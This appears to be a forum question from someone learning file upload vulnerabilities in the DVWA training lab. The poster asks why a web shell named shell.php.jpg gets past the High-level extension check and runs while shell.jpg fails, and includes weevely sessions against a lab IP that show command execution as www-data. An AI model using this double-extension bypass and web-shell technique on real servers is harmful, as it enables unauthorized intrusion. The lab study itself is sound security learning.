I am learning about file upload vulnerabilities using DVWA.
After cranking the website's security level to High,
the website checks both the post request's content type & file extension, so in order to bypass it I changed the file extension to
.jpg and used Burp Proxy to change the file name to
shell.jpg in order to execute the shell.
What I don't understand is why it works. I read that only the right most file extension pattern is treated as the file extension, So that must mean
shell.php.jpg should be treated as a
.jpg file, and It is treated as such - the upload succeeds.
But why can I execute this file and not a
shell.jpg file if the file extension stayed the same and the
.php part is just part of the file name?
root@kali:~# weevely http://10.0.2.4/dvwa/hackable/uploads/shell2.php.jpg yuval [+] weevely 3.7.0 [+] Target: email@example.com:/var/www/dvwa/hackable/uploads [+] Session: /root/.weevely/sessions/10.0.2.4/shell2.php_0.session [+] Shell: System shell [+] Browse the filesystem or execute commands starts the connection [+] to the target. Type :help for more information. weevely> id [-][channel] The remote script execution triggers an error 500, check script and payload integrity uid=33(www-data) gid=33(www-data) groups=33(www-data) firstname.lastname@example.org:/var/www/dvwa/hackable/uploads $
Example of the file working as expected named as
root@kali:~# weevely http://10.0.2.4/dvwa/hackable/uploads/shell.jpg yuval [+] weevely 3.7.0 [+] Target: 10.0.2.4 [+] Session: /root/.weevely/sessions/10.0.2.4/shell_1.session [+] Browse the filesystem or execute commands starts the connection [+] to the target. Type :help for more information. weevely> id [!][terminal] Backdoor communication failed, check URL availability and password
Example of the same file NOT working as expected named as